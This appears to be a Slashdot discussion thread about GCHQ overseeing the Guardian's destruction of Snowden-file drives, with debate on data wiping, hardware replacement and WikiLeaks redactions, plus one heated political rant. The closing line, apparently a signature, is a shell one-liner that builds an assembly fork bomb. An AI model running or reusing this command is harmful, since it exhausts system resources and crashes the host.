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Now On Video: GCHQ Destroying Laptop Full of Snowden Disclosures
An anonymous reader writes "On Saturday 20 July 2013, in the basement of the Guardian's office in Kings Cross, London, watched by two GCHQ technicians, Guardian editors destroyed hard drives and memory cards on which encrypted files leaked by Edward Snowden had been stored. This is the first time footage of the event has been released."
What the hell was that? They threatened to shut down the Guardian if the media wasn't handed over; it appears though that they didn't have the balls to go through with the threat. Instead they came up with this bizarre compromise that involved 'destroying' the data. Why do this? Was it just a way for the government to save face and not have to back down from some crazy ass redline that threw out there? They must know that the files were immediately duplicated and spread around the world. That was by far one of the strangest things I've ever seen a newspaper do.
This one's tricky. You have to use imaginary numbers, like eleventeen... --Hobbes
Not from that particular copy of the data.
Nope, through computum entanglement, destroying the south bridge of the PC which had held the hard drive also destroyed all the copies.
Quantum mechanics is a bit too complex for us peons, just trust the govt on this one.
In fact they claim it was made completely clear to the head honcho ordering the destruction that other copies did in fact exist and that this display would not change anything. It was purely a PR/attempted intimidation stunt.
--- Most topics have many sides worth arguing, allow me to take one opposite you.
Actually I was alluding to common practices going back many centuries, so well done on leaping to conclusions.
Nobody expects the Spanish Godwin.
If anything it is slightly comical that these people think they can destroy digital information with drills and grinders and so on. Obviously they really don't, GHCQ do not have a reputation of being digitards.
Ignoring the fact that copies exist (and everyone involved knew that), physical destruction is in fact the recommended way to destroy the data on a hard drive, SSD drive, flash memory, etc. etc.
You can overwrite the drive 50 times and you can not be certain that the data is unrecoverable. If you put a grinder to the drive surface, you can be very certain of that.
There's a reason the military shreds harddrives when it disposes of them.
Assorted stuff I do sometimes: Lemuria.org
It's just a stupid as the US response taking out and replacing every part of every computer and network that Snowden accessed.
Disagree. No matter what you think of the NSA, in the whole circus they are one of the few people who actually know their stuff. These guys are scary good at what they do. If I had to clean up a place that was bugged by the NSA, I'd do the same - rip out everything and replace it.
You can buy keyloggers that fit into a USB plug these days. I'm pretty sure the NSA has stuff like Ethernet monitors that fit into slightly-larger-than-usual CAT-5 plugs. And if you consider the size of Raspberry Pi, you'll realize that you can fit a whole second computer into the case of another computer.
When your server gets rooted by a hacker, every security professional worth his money will tell you to wipe it and do a complete reinstall. There is no way to clean up the system without that where you can be certain that there's not a backdoor left somewhere you didn't look.
This is the same, just in hardware.
Assorted stuff I do sometimes: Lemuria.org
I viewed the video and I read the related article... and it says here:
A small team of trusted senior reporters examined Snowden's files in a secure fourth-floor room in the Guardian's King's Cross office. The material was kept on four laptops. None had ever been connected to the internet or any other network. There were numerous other security measures, including round-the-clock guards, multiple passwords, and a ban on electronics.
Okay, 4 laptops are fine. So why does the video show a desktop keyboard? And why is there a completely destroyed ATX desktop motherboard shown there?
Yes, let us NOW close the barn doors after the cats have escaped.....that will stop the cats from escaping!
From my view(USA), the U.K. seems to be following in our footsteps with afterburners engaged.
I remember when everyone was claiming computers would make life easier. LOL! Paperless offices FTW!
(don't misunderstand; I like computers and networks, but from the beginning, I have always questioned the implementation of them as it occurred...one of the reasons why I don't own a cell phone, and studied networking so I could protect some of my privacy, just as I studied driving a vehicle before driving)
The cat is out of the bag/barn door, the best thing for the gov't.s involved is to admit it and make acceptable changes, but don't hold your breath waiting.
The question now is:
Do we fight this crap, or grease up our bungholes and take like a good consumer?(we are no longer citizens or customers...just livestock consuming the crap corp.'s and their bitches(gov't) shovel out.
If you use the term 'consumer' for anything outside of eating and drinking, or physically using something to depletion, then you are part of the problem by accepting this crap.
Consume various media?
I have NEVER eaten or drank an music or video file, I've watched/listened to them, and THEY ARE STILL THERE! So I could not have consumed them.
This may seem like an offtopic rant, but the brainwash mentality is what makes this crap work.
We have gotten into a mindset from this tactic that makes this shite easier to swallow, because we get used to swallowing shite. We have forgotten how to find out for ourselves, we WANT the 10 second soundbite because we are too busy swallowing the shite, to fit in with our shite swallowing peers.
I personally am too old, broken down, and poor to start the needed coup, but will gladly join in if it ever happens.
Here in the USA 20 years ago, if what happened under Bush jr.'s reign happened then, I would have started(or at least attempted) another revolution...strictly out of patriotic feelings for the oath I took to defend the Constitution of the USA, and Dubya and company would have been first against the wall to be shot as a traitor to the Constitution I pledged to uphold against enemies foreign and domestic.
Apparently, my peers are happy to have the following generations buggered, and now it's showing up.
In retrospect, I would include Obama and co. for not doing away with all of Bush/Cheney's constitutional violations.
As it stands, I will do everything within my power and ability to train and educate the younger generations to combat this crap.
Note to self: Quit posting when drinking!
I meant everything above, but focus and eloquence decline severely when drinking!
Apologies if I sound like some butthurt old geezer, but I am one, due to the 'War on Drugs', 'War on terrorism', War on this', War on that', alcohol is my only outlet short of ending up on the evening news as some nutjob taken out by the local SWAT Team. :-)
OK, now all of you all, get off my lawn!
*chugs bottle of Geritol*
Down With Slashdot BETA!!! I've been around the corner and seen the oliphant; you can only abuse me from your perspecti
I think the Guardian guy is being deliberately vague, since they now have evidence that they destroyed all of their copies.
They are now only going to report on the information that others are leaking.
It is PR for GCHQ and the Government, i.e. don't hold documents you know you shouldn't cos we'll smash your shit up.
It is part of the legal defence of the Guardian, "We aren't distributing this information, but are now free to report the information that others have released to the public"
By the way IANAL, it just seems like common sense to me.
When your server gets rooted by a hacker, every security professional worth his money will tell you to wipe it and do a complete reinstall. There is no way to clean up the system without that where you can be certain that there's not a backdoor left somewhere you didn't look.
Those were the good ol' days. These days everybody knows there are half a dozen backdoors in the various firmwares that even an OS wipe won't get. (disk, network, bios, etc)
You can overwrite the drive 50 times and you can not be certain that the data is unrecoverable.
That hasn't been true for about 20 years now. Overwrite your data once and it's gone. Even if you don't overwrite it randomly no data recovery group have been shown to be capable of recovering overwritten data even in the face of great monetary incentive.
There's a reason the military shreds harddrives when it disposes of them.
Yes but it has nothing to do with data possibly being recoverable. It's entirely to do with removing all doubt if a procedure has been applied. If you look at a drive you have no way of knowing if the data has been wiped or if there's anything recoverable on it. If you look at small shards of what's left of a drive then there's no doubt. It doesn't mean that other methods aren't equally secure, just harder to administrate.
Generally when deleted files are able to be recovered, the bytes of the files weren't actually overwritten, they were merely marked as deleted by the filesystem.
Theoretically, when a file has been overwritten with known data, it is possible to use an electron microscope to recover what was there before, but as far as know, no one has been able to actually achieve this. Especially with modern hard drives that are more dense.
"First they came for the slanderers and i said nothing."
You can overwrite the drive 50 times and you can not be certain that the data is unrecoverable.
Bullshit. If your drive works fine, even after single (or two, if you are paranoiac) overwrite with random data no-fucking-body in the whole universe will recover anything.
There's a reason the military shreds harddrives when it disposes of them.
But for completely different reasons what you think, its because:
- your drive might be faulty so the overwrite is actually not performed
- could be faster (overwrite of big disk can take hours)
- the destruction can be performed by IT-ignorant, non-technical guy
- the destruction process can be easily CONTROLLED by another non-technical persons.
This last one is actually main reason: in such process there are usually more people involved which "watch each other". ...
However control of soft (data-only) destruction is very difficult: even if all involved people would be highly technically capable (including your commanding officer), It is difficult to assure that the other guy does not use (intentionally or unintentionally) wrong, hacked or faulty software, does not make copy during overwrite, makes proper control read after the process etc
No actually, having a journalistic intermediary that does vetting and filtering is a better approach. One of the -false- accusations against wikileaks was their undiscriminate leaking of classified documents.
You can overwrite the drive 50 times and you can not be certain that the data is unrecoverable.
Actually, this is an old myth, which had some truth to it when hard disk weren't operating at the known physical limits. Then you could actually read some erased information by using a more sensitive magnetic head, which was able to tell the difference between a former one overwritten by zero and a former zero overwritten by zero. But this is no longer so. Any reserves that might have been in the magnetic surface of disk are now used to increase information density. The most sensitive reading heads available are those already built into the hard disks. Overwrite a section of the disk with zeros (or ones, whatever you like), and you can be sure that the information formerly there is safely overwritten.
If you can recover the data overwritten 50 times, then you also can recover the data overwritten 49 times (that is, the first set of data you've overwritten the original data with), the data overwritten 48 times (that is, the second set of data you've overwritten it with), the data overwritten 47 times, the data overwritten 46 times ... and you'd have to be able to distinguish between them. which means that on a 500 gigabyte hard disk, you'd be able to recover 25 terabytes of data. I strongly doubt that this is possible.
The Tao of math: The numbers you can count are not the real numbers.
But for completely different reasons what you think, its because:
- your drive might be faulty so the overwrite is actually not performed
A related one:
The drive may remap some sectors because they are failing, it may be very difficult to ensure that all the physical sectors are overwritten and not just all the logical sectors.
note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
One of the -false- accusations against wikileaks was their undiscriminate leaking of classified documents.
False?
http://download.cabledrum.net/...
Interviewer: "So come on, redactions are going on at the same time, now there is
or isn't a row going on about redaction, I haven't the faintest clue
whether there is or isn't...?
Mr Assange: No, there's no row going on about redactions at all....There was a
group of reports where although they were not really intelligence
informants there were sort of hotline tips...something called threat
reports comprised one in five of the Afghan War Logs and so we held
them back for a line by line redaction...But what we didn't do was
redact one in five lines, putting black marker through it, we just
removed them, and so it looked like we hadn't redacted everything but
in fact we had redacted a fifth of all material, and this permitted an
attack, a political attack, to come from The Times of London.... So The
Times did a proxy war on The Guardian through us by attacking us....
So most of those names were meant to be there, it is right for
them to be published, it is right to publish the names of
politicians, generals bureaucrats, etc, who are involved in this
sort of activity, it is right even to publish the names of corrupt radio
stations in Kabul that were taking SYOPS programme content. It is
also right to publish the names of those people who have been
killed and murdered and who need to be investigated and it is
right to publish the names of all incidental characters who
themselves are not at serious and probable risk of physical harm.
Those incidental characters are someone who owns a company for
example is just involved in shipping operations.... So then there is the
question were there any sort of villagers or so on who gave
information that might lead to reprisals, were there some of those?
Um there were some villagers who - who had given information,
um so that is a regrettable oversight, but it is not our, not merely
our oversight it was the oversight of the United States military
who should've never included that material and who falsely
classified it, and who then made it available to everyone and it
then got out."
Assange never wanted to redact but was forced his media partners. Then he published the full unredacted cables on wikileaks' website. Which they denounced
http://www.bbc.co.uk/news/worl...
In a joint statement, the Guardian, El Pais, New York Times and Der Spiegel said they "deplore the decision of WikiLeaks to publish the unredacted state department cables, which may put sources at risk".
And before you mention the password that appeared in David Leigh's book that was supposed to be for a temporary copy of the archive
http://www.theguardian.com/med...
WikiLeaks claimed its disclosure was prompted after conflicts between Assange and former WikiLeaks associates led to one highlighting an error made months before. When passing the documents to the Guardian, Assange created a temporary web server and placed an encrypted file containing the documents on it. The Guardian was led to believe this was a temporary file and the server would be taken offline after a period of hours.
However, former WikiLeaks staff member Daniel Domscheit-Berg, who parted acrimoniously with WikiLeaks, said instead of following standard security precautions and creating a temporary folder, Assange instead re-used WikiLeaks's "master password". This password was then unwittingly placed in the Guardian's book on the embassy cables, which was pu
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;